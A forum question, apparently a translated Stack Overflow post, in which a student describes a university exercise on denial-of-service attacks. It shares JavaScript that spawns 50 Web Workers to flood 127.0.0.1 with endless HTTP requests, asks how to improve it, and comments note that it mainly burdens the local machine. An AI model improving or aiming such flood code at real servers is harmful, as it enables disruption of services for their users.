1
在大學,我們做了一些「功課」來嘗試執行拒絕服務攻擊。我決定採取一些與衆不同的方式。我試圖用JavaScript來執行它。使用WebWorkers的JavaScript DoS攻擊
的問題是:
- 它甚至可以這樣做呢?
- 如果我在迴環上做HttpRequest,我會看到由於HTTP端口溢出導致的任何網站不可訪問的結果嗎?
- 有沒有比我更好的代碼來做到這一點?
的index.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>
worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);
謝謝你的任何輸入!
我不知道,但是這是更容易崩潰自己的電腦不是遠程服務器(如你選擇的不是localhost)'while(1)' – mehulmpt
當你運行顯示的代碼時發生了什麼?瀏覽器用'while(1)'很酷嗎? – nnnnnn
@nnnnnn瀏覽器似乎很好,因爲網絡工作者在場景中做了所有事情。在開發人員工具中,您可以清楚地看到請求正在發送,但是我可以去任何我想要的網站,而無論如何。 – TomasB